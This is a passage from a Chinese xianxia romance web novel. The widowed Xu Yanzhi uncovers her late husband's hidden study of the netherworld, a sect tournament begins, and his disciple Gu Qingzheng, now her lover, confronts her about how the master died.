长剑如虹,拖着紫光落在她手中,她拿在手中左右翻看了一番,转而对顾青峥笑道:“方才问你,你师父留下的东西可要,你并不回答,我便当你不要了。” 顾青峥当然能看出来,她不过说些话来哄他,即便他们方才曾那样亲密过,她对他仍然没有说实话。 须臾间,方才离他而去的阴郁与恶念,又重新回头,将他吞进了森然的大雾里。 他问她的伤,她顾左右而言他,她只提她亡夫的遗产。 顾青峥有些喘不过气来。 他强行掩饰好眼眸中的情绪,站到徐宴芝身后,从身后搂住她,握住她的手低声呢喃:“那便瞧瞧这柄剑……” 他说着,他们一块儿将西域送来的剑从剑鞘中拔出。 龙吟声在殿中回荡,出鞘的剑身泛着冰雪之光,窄窄三指间,倒映着靠得极近的两双眼。 一双狭长上扬,深幽如北域冰封的峡湾。 一双圆而妩媚,恍惚间有潋滟春色。 两双眼一齐看向剑身,徐宴芝先移开了视线。 她往常觉得顾青峥的眼眸太黑,不透光,便难以分辨他在想什么,教人总揣测着。 今日却又觉得他的眼睛太亮了些,目光灼灼里,端的是千万疯狂,刺得她心头一颤,生出了不自在。 身体上的欢愉褪去,徐宴芝将剑收回,罕见地后悔起来。 她望着前头,轻声道:“你回去对你师弟说一声,若是大比时表现的好,这剑就给他了。” 说着,她将剑递到顾青峥手中,补充道:“你保管着。” 顾青峥收回手里的剑,安静了一会儿,轻声道:“您还有别的想要说的吗?” “没有了。”徐宴芝摇了摇头。 她答完,殿中又沉默了一瞬,接着响起了离她越来越远的脚步声。 顾青峥离开后,徐宴芝紧绷的肩膀垮了下来。 她下意识地抱着小臂,冷似的,轻轻摩挲着小臂内侧如小兽肚子般柔软的肌肤。 指腹的触感缓解了她忽然的不安,徐宴芝面沉如水,反复思索着方才的种种。 明明一切都按照她的设想发生了,为何却仍有失控的感觉,她自觉没有小瞧顾青峥,还是她潜意识里这样做了,而不自知? 徐宴芝没想明白,索性将这件事暂时抛之脑后。 这间地下宫殿中应当还有许多关于宇文令的秘密,她此时应当好好寻找一番。 徐宴芝转身,往宫殿的深处走去。 伴随着她的脚步,高悬的穹顶依次亮起了仙灯,四面八方,照得宫内毫厘毕现,连影子都消失。 这样明亮,却仍让她感到昏暗。 她走向她从前一贯爱躲藏的角落,从那个角落开始,慢慢朝外头走去。 走了几步,从前刻在骨中、许久不见的恐惧也跳了出来,叫嚣着占据了徐宴芝的脑子。 空荡荡的殿中只有她的脚步声回响,她踌躇起来,此时她当真后悔,竟然就这般让顾青峥离开了。 哪怕留他在外头等一会儿呢。 她抬头看着头上极高的穹顶,任由仙灯晃花了自己的眼,枯站了许久后,咬牙按捺下种种负面情绪,继续在宫殿中转悠。 她记得从前有过几回,她来问仙宫时,四处皆见不到宇文令的踪迹,等了许久,他才一脸若有所思地从地下走出来。 他究竟有什么隐秘呢? 另一边,顾青峥步履匆匆,从问仙宫中回到了自己的小院。 他背着手,团团在小院中转了几圈,将自宫中带出来的那柄剑放在屋里,转身又要出门。 甫一打开门,便与想要敲门的闵道一撞了个正着。 “师兄,你去哪儿了,我怎么看着你从后头回来了?”他挠着头,疑惑道。 “你要的剑,我去替你取回来了。”顾青峥收敛了心神,勉强如常的答道,还有心思与他调笑了几句,“只是师娘说了,若是你表现的不好,剑就给我了。” 闵道一果然大声叫嚷了起来,央着师兄答应,大比过后,不论如果都要将剑给他。 “你便安心准备吧。”顾青峥虽没有立即答应,也算是松了口,又与师弟说了几句,便借口有事,往前殿外走了。 留下闵道一 摸不着头脑,喃喃道:“这又是去哪儿。” 说着,他蓦然一惊,不住地伸着头,嗅闻起来。 “奇怪了。”他神色惊疑不定,面色慢慢沉了下来,“我怎么闻着有股香味,熟悉极了。” 站了一会儿,闵道一僵硬地转着脖子,眼神空空地看向顾青峥离开的方向。 顾青峥全然不觉,此时已经登上了去往摇光峰的灵舟。 摇光峰乃是北域弟子们学习宗门功法的地方,非亲传弟子,都没有嫡亲师父,他们的功课便在摇光峰上,经由授业堂教授功法。 从前顾青峥刚刚入门,和刚刚成为掌门亲传弟子时,也曾以十日为期,前往摇光峰与诸位同门一块儿上大课。 除此之外,摇光峰上还储存了大量的随意可查的功法秘笈,北域七峰典故、以及关于此界其他地域的种种秘闻。 这些典籍都存放在摇光峰上的藏书阁内,凭弟子令牌,可随意在阁内观看、摘抄。 顾青峥便是为此而来,他的灵舟刚一停稳,便直奔后山的藏书阁。 路上,徐宴芝背上的伤痕不断地浮现在他脑中。 他想要知道这个分明一直被娇藏在太阴峰上的女人身上究竟发生了什么,既然无法从她口中得知半句实话,便让他自去寻找答案。 关于徐宴芝的来处,顾青峥已经明了了七七八八。 她十分熟悉旧临渊城,知晓本就离无尽之崖极近的旧城外出现了一道直通幽冥的巨大裂缝。 在顾青峥下山去摘盏室花的果实时,她试图用混淆的法术,诱使他去旧城。 盏室花的果实会引来强大的灵兽,若是与灵兽在无尽之崖附近起了争斗,流了血,血腥味极有可能会引来上个血月从幽冥爬上来的业鬼。 而在无尽之崖附近,业鬼又时常成群结队活动,一来,便是极大的一群。 到时候前有灵兽,后有业鬼,顾青峥一个不小心,便会遭到重创。 徐宴芝等的就是这个时候。 顾青峥受了伤,意志愈发薄弱,他会无意识跟随混淆术的指引,去往旧城外,倘若没有那道裂隙,或许在浊气侵蚀他的身躯时,疼痛会让他清醒过来。 但,因为有了那道裂隙,只需要他恍惚中一个趔趄,便会就此坠入无尽之崖,死在浊气翻滚的崖底。 徐宴芝计划的十分妥当,她对旧城也十分熟悉。 只可惜,她千算万算,失了对顾青峥力量的计算。 跨越了一个大境界后,徐宴芝愈发感知不到顾青峥修为的深浅,她常年居住在太阴峰上,也不曾见过真正的盏室花。 顾青峥已经到了成元后期,早已能毫发无损地从灵兽环绕中摘下盏室花的果实。 这并不怪她,在远离一切的圣山之巅,她已经做了能做的一切谋划。 只是唯独有一点,不是她的失算,而是她的失误。 她忘了前尘往事,忘了顾青峥早已不受她混淆之术的影响。 思及至此,顾青峥的手止不住地颤了一颤。 顾青峥将弟子手令交给了藏书阁值日的小弟子,得了一枚小巧的灵器后,便往阁中走去。 藏书阁第一层是功法秘笈,第二层是宗门典故,第三层是此界逸闻。 跨过了前两层,顾青峥拿着灵器来到了第三层。 他站在浩瀚如烟的卷轴前,打开了手中灵器,依循指引,找到了他想要找的东西。 顾青峥面前顶天立的书架当中,摆放着所有关于幽冥、业鬼的卷轴。 徐宴芝来自幽冥,这是他的推测。 他扫了一眼眼前典籍,从中取了一卷,低头读了起来。 从幽冥而来的活鬼,夺取了地上人的身份,潜入了北域宗门之中,妄图颠覆七峰——这样的故事,似乎才更适合徐宴芝。 可若是如此,她为何一身伤痕,若是如此,为何在步入问仙宫地下宫殿时,她的恐惧隔着**,仍旧被他所感知。 顾青峥放下手中关于业鬼习性的卷宗,换了架上另一本。 下山除鬼,是宗门中有能力的弟子的寻常任务,顾青峥前半生都在与业鬼作斗争,在他手下烟消云散的业鬼不知几何,藏书阁中有关业鬼的卷轴对他而言都已了然在心。 他翻找了数卷卷宗,终于找到了一卷关于幽冥之中活物的逸闻。 卷轴上说,一直以来此界便认为不论是凡人还是仙人,都无法在幽冥中生活,因为那里的浊气比地上浓郁数百倍,人若是在其中待上片刻,便会爆体而亡。 但,为何世间又总有来自幽冥的丸药、灵物流传? 这些做工粗粝,分明不是仙人手笔的东西,如果不是从幽冥而来,又是谁的产物呢? 卷轴的作者写到这儿,下了定论,幽冥之下定有活物,作者本人有证据如下,他们—— 顾青峥读到这儿,卷轴的下半部像是被人截断了似得,消失了。 他放下了这卷书,又在架上翻找着其他涉猎了幽冥的逸闻。 只是找来找去,不是读到一半便断了,就是一些天马行空的无稽之谈,似乎整个藏书阁都没有关于幽冥的完整信息。 顾青峥找了这样久,外头天都已经黑了,藏书阁值日的小弟子过来催了他几次,委婉地提示藏书阁要关门了,请他下回再来。 无奈之下,他也只能作罢,将书架整理好后,随着小弟子一块儿向外走。 走到一半,顾青峥脑中又闪过了一些关于旧城的记忆。 他忽然意识到了什么,先是与小弟子聊了几句弟子大比,接着问道:“上一回我险些在外头吃了业鬼的亏,今日便来找些逸闻瞧瞧,又知晓了许多从前不曾知道的事,可见这些东西是常看常新,也不知旁的同门可曾也来借阅过?” 他身旁的小弟子哈哈一笑,凑趣道:“顾师兄,要不说您得了掌门真传呢?这一块儿的卷宗,唯有您和掌门看得多,从前宇文掌门还老是将卷宗借走,不过后来还回来时总有损耗,阁主还……” 说到这儿,小弟子似乎意识到了不对,连忙闭了嘴。 但他说的话也的确证实了顾青峥的猜测—— 宇文令从这些卷宗中发现了幽冥之下的秘密,可以助他早日飞升,成就大道。 为此,他利用了漂泊无依,借尸还魂的徐宴芝。 宇文令与徐宴芝的开始,从来都不是万人传诵的爱情故事。 第27章 第二十七章黏糊起来 那日过后,又过了几日,七峰迎来了一个大日子。 太阴峰上一夜大雪,愈发寒冷刻骨,将居住在太阴殿外的小弟子们冻得够呛。 他们一大早,便三五成群地从弟子舍中钻出来,搓着手,哆哆嗦嗦地相互鼓劲。 “你那仙法肯定没有问题,就放心吧。” “你那阵法也是,上回不是还从徐夫人那儿学了些东西吗,你也放心吧,一定不会被外门弟子给挤下去了。” 小弟子们口中这样说着,陆陆续续地在殿前广场上集合了,心里却还是隐隐发虚—— 这可是宗门十年一回的弟子大比,如何小心谨慎都不为过,一个不小心,内门弟子的位置不保,从今往后的日子可谓是再也不好过了! 小弟子们已经准备了许久,可就看这几日了。 一个个面色灰败的仙人仙子,冻得焉头巴脑的,排着队,坐着巨大的灵舟去往摇光峰上,等着授业堂将大比的安排发放下来。 今日起便是七峰上近来的头等大事,弟子大比的开始日。 按照以往的安排,宗门上下弟子,不分内外、亲传与否,都要参加,以示公平。 大比分为身法、仙法、阵法等等小项,弟子们自行决定要参加哪些小项,自行将名字报给授业堂。 有些全才,所有小项都参与,也可以,皆看弟子意愿。 北域七峰一贯被此界仙人诟病古板老套,但在对门中小弟子的教养上,却又是开明的。 等到居住在太阴峰上的小弟子们陆陆续续地坐灵舟离开了,顾青峥最后检查了一遍,转头对徐宴芝、闵道一示意,小弟子们都走了,他们也该去往摇光峰了。 闵道一一早起来便觉得自己眼皮直跳,很是有预兆将在大比中一输到底,此时面色惨白,一副欲要呕吐的模样坐在徐宴芝身旁,口中不时碎碎念着什么。 徐宴芝见状,笑着伸手抚了抚小徒儿的头顶,劝道:“莫要太紧张,你师兄不是对你说了,这几日练得不错,一定不会一输到底的。” 话是这样说,闵道一仍觉得心中没底,颓然地往身旁一倒,想要伏在师娘膝头诉苦。 只是他身子刚一歪,坐在前头架船的顾青峥竟然比他更快,动如闪电,伸手揪着他的后襟便将他提了起来。 “多大的人了,竟像个孩子似得。” 顾青峥并未回头,语气中却让人听出了凉意。 闵道一只道师兄不许自己软弱,被吓得一激灵,却毫无办法,索性往角落中一缩,闭上眼哼唧起来。 只是他口中絮絮叨叨了一会儿,忽然后知后觉意识到,方才他想往徐宴芝身上靠时,似乎有一股前些日子闻过的香味儿钻进了鼻子里。 是师娘身上的味道,一股儿暖洋洋的劲儿,有许多种变幻,并不是死板如一的熏香能熏出来的。 他不由得试图回想,除了师娘身上,自己究竟曾在哪儿闻到过这个味道。 可闵道一受了伤后脑子便时灵时不灵,想了一会儿,除了头疼外什么也不曾记起,他害怕待会到了摇光峰上头疼影响发挥,连忙放空了脑子,什么也不敢想了。 顾青峥掌舵,灵舟飞得很稳,不一会儿便穿过了大雪肆虐的山间,停在了摇光峰上。 他们来得晚,此时摇光峰上原本就宽大无比的广场上已经站满了人,不论仙子仙人,此刻皆忘了风度,焦躁不安地彼此交头接耳,嗡嗡之声响彻山顶,教人疑心是否有什么虫类灵兽袭击摇光峰了。 顶着这般热闹,顾青峥在前头开路,不一会儿便带着徐宴芝与闵道一穿过了人群,来到了授业堂中。 他们在弟子中算来得晚的,可乍一看去,堂中现下只有李能意与任重阳到了,其余长老不知所踪,徐宴芝又算来得早了。 不过,顾青峥与闵道一今日尚且有任务,他们只是将徐宴芝护送到此处,见徐宴芝迈入堂中,又转而前去寻授业堂的管事弟子,将自己的弟子手令录入到大比的名单当中。 授业堂中摆着八张交椅,李能意与任重阳却都还站着,只假笑着与徐宴芝打了招呼,接着退到一旁,冷眼瞧着徐宴芝,等她选座似的。 徐宴芝心中嗤笑,一眼扫去,径直往最正中的那张交椅上走去,当着两位长老的面,大喇喇地坐下。 “也不知其余几位长老何时过来,两位不如坐下等?” 徐宴芝脸上也堆起了假笑,轻言细语地对站立的两位长老说道。 任重阳当即低下头,笑眯眯地应声,选了离她不近不远地一张交椅坐下。 李能意脸色有些不好看,踌躇了一会儿,还是咬牙坐在了徐宴芝的下手旁。 每回到了排资论辈的时候,李能意就要跟自己较劲。 徐宴芝略微扫了一眼他,心中竟有些好笑。 这个老古板在仙人里也算得不上年纪大,却宛若凡间老叟,言行举止皆是讲究,最是受不了修为不高的仙子与他平起平坐。 看来这样的事应当多来几次,助李能意放下心结才是。 徐宴芝惬意地倚在交椅上,没有半点德不配位的自觉,任由身旁仙人心中暗自焦躁。 一人惬意,一人焦躁,一人神游。 三人这般在授业堂中等了一会儿,吕敏之与周云子小声交谈着走了进来,抬眼一看堂中形势,两人对视一眼,选了任重阳对面两张交椅坐下。 片刻后,天权、玉衡两峰长老也匆匆走来,选了交椅坐下,此时六位长老与徐宴芝都已落座,只待摇光峰牧杨。 但今日摇光峰上几乎站满了弟子,牧杨在外头统筹,忙得脚不沾地,授业堂中坐着的几人也都体谅,等到阳光堪堪穿过暴雪,落在了堂中,牧杨终于姗姗来迟。 一来,便催着几人赶紧去外头,又凑到徐宴芝身旁问她:“徐夫人上去讲吗?” 徐宴芝扬起下巴,微微点了点头。 牧杨搓了搓脸,对她做了请得动作。 徐宴芝领着诸位长老,迈步走出授业堂,站在堂前的高处,将底下乌泱泱的弟子们都瞧在了眼中。 他们也都抬头看向她。 很好,俯视众生的滋味,不论品多少回也不能够。 徐宴芝心中油然而起一阵满足,她享受着弟子们注视的目光,老生常谈地讲了几句。 因知晓下头这些人心中紧张极了,她说得越久,他们越是听不进去,徐宴芝只能遗憾地快速结束了讲话,让小弟子们等候着,听授业堂安排。 偌大一个摇光峰,上头遍布着演武场,徐宴芝一挥手,弟子们连忙分散开来,自去寻找弟子令上提示的演武场,不一会儿,广场上人便走得精光。 徐宴芝暗叹一声,转身去寻牧杨,提及要去监看阵法大比。 牧杨一怔,有些迟疑的答道:“阵法这一项,已经交由吕长老主考。” “那我便去寻她。” 徐宴芝好似听不明白牧杨口中的拒绝之意似得,兀自叫住了正要往演武场走去的吕敏之,笑盈盈地与她说了来由。 主考本就是麻烦事,吕敏之正在心烦,闻言眼睛一亮,她又无意搅和山上的纷争,又一项与徐宴芝交好,当即同意下来,与她并着肩离开了。 牧杨见谈笑着离开的两人没了影,转头看了看李能意。 李能意也盯着她们,感受牧杨视线后,不自在地收回了目光,摆手道:“我瞧徐夫人的做派,想来是想在开山门后留在山上做个长老,这才赶上要显摆自个儿长于阵法。” 牧杨不置可否地嗯了一声,又问:“那师兄怎么看?” 这下,还未走的任重阳也老神常在地转头看向李能意,似笑非笑地等着他回答。 李能意心中一突,十分担心这个老神棍转头便投了徐宴芝,将自己卖了,连忙找补道:“我到还能再干一会儿,要是任长老想把担子卸下来,倒也不是不行。” 任重阳嗤笑一声,摇头晃脑道:“徐夫人既然不打算离开七峰,那她手中捏着宇文掌门留下的万千法宝,要染指我的位置,我也得掂量掂量。” 李能意听了,长叹了一声。 他原本想着,徐宴芝上一回下山后恐怕就会与揽云大泽那个姓岳的联系上,等着山门开后便会离开七峰,只是后来又听新城里头的弟子传话,说徐夫人在城中一直守礼,并未与姓岳的过多接触。 他心里还嘀咕,今日一看,看明白了徐宴芝不仅不会走,甚至还想在七峰上谋一张交椅…… 想到这儿,李能意又打起了方才与徐宴芝一块儿离开的吕敏之的主意——徐宴芝不是擅长贸易吗,正好开阳峰吕长老就负责七峰上下的交易,又与她关系好,主动把位置挪一挪呗。 想到这儿,李能意乐歪了嘴,不再管另外两个长老如何想,志得意满地朝自己主考的演武场去了。 弟子大比的第一日,就这样开始了。 七峰上下倾巢出动,一直忙活到月亮升起,方才渐渐散了。 按照授业堂的安排,要叫所有弟子都比完,一共要五日,最为重要的仙法一项,头三日安排的外门弟子,第四、五日才轮到内门、亲传弟子。 顾青峥作为前几届大比的头名,只有赢过前头所有人才能碰得到他,便理所当然地闲了下来。 但长老们见不得他闲,牧杨强拉着他做了半日的考官,等到手中的小弟子终于全数考完了,才放了他走。 此时抬头一看月亮都升了起来,顾青峥想了想,闲庭信步地慢慢往半山腰走去。 阵法是小项,决心参加的弟子少,一般一两日也就比完了,顾青峥走到半山腰上不起眼的演武场时,正瞧见徐宴芝皱着眉,拿着小弟子画在纸上的法阵仔细看。 天都黑了,场上点起了灯,正照在她脸上,教她眉间沟壑更显眼,向下的嘴角旁多了一些阴影,平添了几分与寻常不同的冷峻。 几个最后等着她判卷的小弟子们战战兢兢地等在一旁,料想此时大气也不敢出,连望着她的眼神中都充满了畏惧。 “上等。” 徐宴芝读了一会儿,放下手中的卷子,看向作画的小弟子,露出了勉励的笑来:“你做的不错。” 小弟子心头一松,腿都软了下来,又想哭又想笑地上前对她道:“多谢徐夫人。” 徐宴芝又微微一笑,不过片刻后她便重新严肃起来,垂头看着另一张法阵。 她的手指在法阵上画动,一点一点,不时念念有词。 真是极认真、极专注的模样。 她身子挺直,眉头不自觉皱着,嘴角向下,眼神像刀锋,清凌凌的扎在卷子上,坐到下午连发丝都一丝不苟,将身前这一小方天地,连同小弟子们的呼吸心跳一起,牢牢掌控在手里。 这是从不曾见过,截然不同的徐宴芝。 顾青峥看得入了神,只觉那尖锐的视线好像看在了自己脸上,如同她伏在身上凝视他的时刻一样。 这激得他眼中升起一团火,又顺着眼一直烧到了小腹下,让那一块的皮肉不自觉绷起来,他也不得不微微弓起了身子。 真是下作。 他盯着徐宴芝,心中叹道。 徐宴芝并没有看到远处的男人。 她垂眸看了一会儿,放下手中卷子,面带寒霜地看着身前瑟瑟发抖的闵道一,一字一顿道:“不合格。” 闵道一如遭雷击,想要分辨几句,却又怯懦开不了口,只口唇颤抖着,委屈地垂下头,领过一旁神游的吕敏之发给他的弟子令牌,默默退到一旁。 徐宴芝连亲手带大的徒儿都不留情! 后头还剩三个小弟子等着出成绩,见状皆是面如金纸,牙齿打战,擎等着被判死刑了。 但他们功课显然比闵道一扎实,徐宴芝读了卷子,给了一个上等,两个中等,都合格了。 小弟子们如逢大赦,连忙领了自个儿的令牌,着急忙慌地一块儿携手跑了,留下被师娘判了不合格,却要等着她一块儿回太阴峰的闵道一。 而另一头,徐宴芝身旁的吕敏之今日悠闲了一整日,此时也不想掺和进这恼人的关系中,打了个招呼,也脚底抹油地跑了。 一时间,偌大的演武场只剩下了三个人。 闵道一正是害怕时,发现了远处的顾青峥,连忙叫嚷着师兄,向他走来。 顾青峥晓得他是怕被徐宴芝责骂,笑笑不理他,径直向后头的徐宴芝走去,见她还坐着不动,上前自然地伸手,轻轻地揉按她的眉间,按得一会儿,低声道:“可还痛?” “好多了。”远处闵道一正不错眼看着,徐宴芝下意识偏开头,起身往外头走,“走吧,回太阴了。” 顾青峥应了,拿起一旁徐宴芝的斗篷,将她仔仔细细地裹住,又抬头将兜帽也给她带上。 他的小动作太多了,徐宴芝烦闷起来,她以为顾青峥是清爽的人,不过一夜过去,竟变得黏糊,着实让人没想到。 她避开了顾青峥的替她整理斗篷的手,笑盈盈地对后头睁大了眼的闵道一道:“可还记得如何驾灵舟?” 师娘没责骂他,是天大的好事,闵道一连忙按下心中的古怪,点头应了,转身往山顶走去。 顾青峥与徐宴芝跟在后头,并肩走在小道上。 开始时,谁也没说话,走到上山的路上时,他忽然听到身旁女子轻声道:“你过了。” 他低下头,看见徐宴芝如方才一般,一双眼凉凉看着他。 如问仙宫门上的明珠一般,梦幻、寒冷。 顾青峥心头倏地一跳,不说话,只微微笑着,享受着徐宴芝刀锋一般的注视。 徐宴芝见他不答话,也懒得再与他纠缠,心中专注地想着她在问仙宫地下找到的收获。 她趁着弟子大比前的宁静,整整在地下宫殿中寻找了三日,总算找到了一些不同寻常的东西,正打算回到太阴后继续。 这几日她心思在地下,便有些忽视了顾青峥。 她不知道,这几日,顾青峥也有了许多收获。 第28章 第二十八章怎么死的 到了太阴峰上,垂头丧气的闵道一先被师兄赶回了小院,责令他好好准备过两日的仙法大比,他欲言又止,只能看着师兄护着师娘,送她回后殿。 与顾青峥单独走在夹道中,徐宴芝竟然先生出了不自在。 自从地下宫殿中发生了那件事后,徐宴芝便没有再见过顾青峥,那日她以掌门留下的法宝引诱,顾青峥却只看到她、只想得到她,教徐宴芝暂且对他放了一点心。 既然放下了心,觉得已经稳住了顾青峥,她便专心忙着在地下寻找宇文令的隐秘。 从前时候每每来到地下,不是提心吊胆,便是别有心思,更何况宇文令在一旁虎视眈眈,徐宴芝并不曾好好的探究过地下宫殿。 如今有了时间,徐宴芝将整个地下几乎翻了过来,终于隐秘的宫殿中发觉了一处更隐秘的角落。 那是一处嵌在宫室中的暗室,按照问仙宫的方位而言,那一处宫室正是处在书房下方。 这个位置十分的微妙,徐宴芝在地宫中久久寻不到秘密,忽然想起,从前宇文令还在时,每日几乎都会在书房中待上一会儿。 如今返回去想想,他究竟是在地上还地下,书房下会不会还有另外一个通往地宫的通道。 越想便越觉得有道理,徐宴芝为此小心谨慎地在书房下正对应的宫室中,用宇文令赐予的力量试了几回。 整个宫室每一寸都被她翻遍了以后,她终于在某一块石砖上方发现了不对。 石砖上的法阵里,又绘制了极为隐蔽的法阵,若非擅长法阵者,一定会将两个嵌套的法阵视为一个,忽视掉了其中的蕴藏的秘密。 但即便拥有力量,徐宴芝也并非宇文令本人,她为了解开法阵,废寝忘食地在地宫中待了整整两夜。 直到今日凌晨时,才真正破解了法阵嵌套,单独运转了更为隐秘的那个。 解开后,徐宴芝眼前出现了一个更为凌乱的书房,里头遍布着卷轴,摊开放了一地。 书房中有一张朴实的桌子,上头放着纸笔,另有干涸的砚台,上头搭着一只笔,笔尖已经凝结成团,纸上也将将写了几行话。 只一眼便知道,有人时常在这儿看书,不仅看,还写下了许多东西。 只可惜今日是弟子大比的大日子,徐宴芝无论如何也不想缺席,只得勉强放下,待到晚上回来后再细细查看。 因为心思全然在地宫中,她与顾青峥相处时,便随意了些——又或者男女之间,但凡有了深入的肢体纠缠,曾你中有我我中有你,便总是会改变从前的相处方式,变得不再清爽。 站在问仙宫前,徐宴芝转头对身旁男人道:“便送到这儿吧。” 顾青峥深深看了她一眼,并不多言,只乖顺地低下头,浅浅地亲在她的嘴角。 徐宴芝敷衍地任他亲吻,待他离开了视线里,先假意继续往后走,待到确认顾青峥当真离开后,又返回了问仙宫。 这地方她已经连续待了三日,原本畏惧的情绪早已烟消云散,径直走到宫内后,熟门熟路地打开了去往地下的通道,匆匆地迈入了其中。 穿过长廊,路过许多幽暗的宫室,徐宴芝一路走到底,来到了与地面书房相对应的宫室下。 她蹲下,解开了书房中的嵌套的法阵,再抬头时,眼前一花,已经来到了那间暗室之中。 不大的屋子里装满了各种卷轴书籍,徐宴芝深吸了一口气,耐下性子,捡起了她脚下的一本,打算从此开始,一点一点地将暗室里读物看完。 她凝神看去,只见手中这卷古籍,上头记载着关于幽冥的种种猜想。 越是强大 的仙人,便越是去不了幽冥,因此此界所有关于幽冥的消息都只是猜想,但即便是猜想,有智慧者提出的猜想,也是能接近真相的。 徐宴芝手中这一卷的描述,与她所知道的幽冥是相似的。 她一目十行地看过关于幽冥之中生存着的活物有哪些,扫过关于幽冥地形的论证,停在了卷轴中一处划线处。 似乎是有人读到此处,觉得十分有用,用笔画出了重点。 “吾想,浊气灵力皆有定数,幽冥之中,活物既然能活在浊气中,那么若是让其将仙人身上的仅剩的浊气吸附,仙人岂不是能成就大道。” 这段笔迹十分陈旧,但能看出下笔人当时心中澎湃,大道的道字,有着极长的拖尾。 徐宴芝定定看着,脑中又想起了写下这话的那人对自己的所作所为—— 宇文令并非一时兴起,他醉心仙途,只求飞升成真仙,为此寻遍此界,终于被他找到一个他认为可行的方法。 仙人修行,不过就是不断淬炼**,努力将体内与生俱来的浊气排除,吸纳灵力充盈四体百骸。 但既然是天生是凡人,肉体凡胎,又怎能不污浊。 那么,找到一个来自幽冥的活物,将她关在远离浊气的地方,利用她亲和浊气这点,岂不是可以将此身**淬炼成精纯的灵力,从而摆脱血肉苦弱,与天地同寿,永生不死。 想到此处,徐宴芝似笑非笑地放下卷轴,又捡起了另一卷,仔细阅读。 这一卷的内容也还是关于幽冥,内容又晦涩,字迹又模糊,徐宴芝凝神看了许久,在上头发现了许多宇文令的笔迹,但都无甚大用。 两卷读下来,便要了一个时辰,徐宴芝估摸了一会儿时间,惊觉今夜恐怕连这里的十分之一都读不完,连忙加快了阅读速度。 即便如此,直到第二日清晨,她也并未清理完多少卷轴。 一夜未眠,徐宴芝的背脊隐隐作痛,对始作俑者生出了十二万分的愤恨,恨不得将其挫骨扬灰。 最可惜仙人死后竟留不下尸体! 放下发誓要看完的最后一卷,徐宴芝拖着沉重的步伐,面沉如水地离开了地下宫殿。 她郁郁推开宫门时,第一缕阳光正刺破了重重风雪,照耀到她的眼底。 徐宴芝昏昏沉沉的,被照得眼睛发痛,伸手去挡。 不防却被连着手一块儿,整个的搂进了旁人的怀中。 这怀抱十分坚实,将她从头到尾的包裹住,温暖了她冰凉的脸颊,又有一股她近来十分熟悉的味道钻进了鼻尖。 徐宴芝放下了防备,慢吞吞地升起了不满。 她松懈地倚在顾青峥胸前,反搂住他的腰,哼笑道:“你竟然在外头等了一夜不成。” “您觉得是,那便是。” 将她搂在怀中似乎还不够,他的吻也密密地落下来,落在她发间,落在她眼睫,落在她眉梢。 连绵不止,又湿又痒,待他唇移开片刻,还涌上一丝凉意。 徐宴芝恍惚中想起在山下见过的,那尝了腥的猫儿,因食髓知味,成日里地流连在池塘边,眯着眼,不时舔嘴。 她掀起眼皮撇顾青峥,见他那双本就深幽的眼眸半阖着,看不透他心里想着什么,当真如猫儿一般。 可惜她今日疲惫,实在无意与他纠缠,伸手一推他的胸膛,斥责道:“不早了,快些准备着去摇光峰。” 推也没推动,他反手握住了她的,低头亲吻在她的指尖,轻触几回后,似乎并不满足,张嘴将她的指尖含在了口中。 一阵湿热自指尖传来,烫得徐宴芝一个激灵,他的舌尖如此柔软,与身体其他部位截然不同。 徐宴芝盯着他的眼睛,压抑着倏然升起,想要粗暴凌虐他的恶劣念头,手指缓缓在他口中摸索,分辨着他口中的东西。 “我说,你从前可不这样。”徐宴芝有些兴奋地玩弄着他,全然忘了方才的烦闷,连疲倦也一扫而空。 顾青峥眨了眨眼,将徐宴芝作怪的手指抽出握在手中,俯在她耳边呢喃道:“我知道了一个秘密,关于您的。” 他们此时仍旧站在问仙宫前,站在高高长阶上,那样显眼,若是有小弟子穿过长廊走来,只要一抬头便看到他们如此不体面的模样。 可顾青峥一脸不在乎,徐宴芝自然不甘示弱。 她将地下宫殿中关于宇文令的种种抛在脑后,再次专心地琢磨起顾青峥来。 “想说便说,不想便算了。” 徐宴芝伸手勾住顾青峥的脖颈,将身子倾倒在他身上,脚尖有一搭没一搭地点着青石板。 他们的视线交汇,都看了出来对方没有表现得这般淡然。 徐宴芝没问顾青峥为何在问仙宫外等了一夜,顾青峥也没提及徐宴芝在宫内究竟在做什么。 “青峥。”徐宴芝的手松开了些,仍旧勾着他,温声摇晃着身子,像是先败下阵来了,“我说笑呢,你究竟是知晓了什么秘密?说来听听——” 她将尾音拉长,双眼微微睁大了一些,好不可怜的模样。 顾青峥轻轻笑了,他凑到她耳旁,用更温和的声音说道:“我知晓了,您究竟来自何方。” 说着,他伸手,一点一点地划过了徐宴芝的背。 徐宴芝面色未改,兴味更浓,追问道:“然后呢,你上回下山,便为了这个吗?你这孩子,为何如今才告诉我。” “我见您夜夜待在问仙宫,想来是有要事,只是等了几日,也不见您笑着出门。”他的声音越发低沉了,“您在宫中找什么,可是与师父有关?” “我若是说是呢?”徐宴芝目光闪烁。 “那我恐怕便知晓了您另外一个秘密。” 顾青峥说的几句,又忍不住亲昵地蹭过徐宴芝脸颊,喃喃低语道:“师父究竟是怎么死的,师娘可明白?” 他语气温和,举止像情人,却教徐宴芝瞬间起了薄薄一层冷汗。 第29章 第二十九章满足了我 宇文令是怎么死的。 这个问题问上一百回,徐宴芝也只会悲痛地落下泪来,哀叹他死的突然,全然不给她一点反应的时间,自己失去丈夫后,方才知晓痛苦的含义—— 她一个被娇藏在太阴峰上的寡妇,哪里知道山下的事? 因此听闻顾青峥问起,徐宴芝下意识答道:“我远在七峰之上,如何能知晓宇文令的死因。” 心底的不安,到底还是反应到了言语间,她头一次在旁人面前连名带姓地提及了这个人。 话一说出口,徐宴芝便知道了不对,又是男色在前,又是一宿头昏脑涨地读满屋子的卷轴,她失了平日的严谨,露了破绽。 果然顾青峥闻言,微微地挑起了眉,仿佛听到了有趣的事情。 “您是不是忘了一些事,师父失踪后,您在德政堂前信誓旦旦说,当日师父离开七峰前,回头对您不过说了些体己话,您对长老们说,青峥是最清楚不过的了——” 他越说,徐宴芝面色越是阴沉。 “您当真觉得,那些体己话,当时我没听懂,往后就再也琢磨不明白了?” 顾青峥极快地伸手握住了徐宴芝的下巴,阻止了她想要偏头的念头,要她只能面对自己。 他的语速越来越快,越说越兴致高昂,眼神闪烁着,想要将面前人吞入腹中一般看着她。 徐宴芝避无可避,只得扬起头来看着他,她咬了咬唇,低声笑道:“别开玩笑了,你师父乃是北域第一人,他下山除业鬼,我远在七峰,你在暗示他的死与我有关,这怎么可能?” 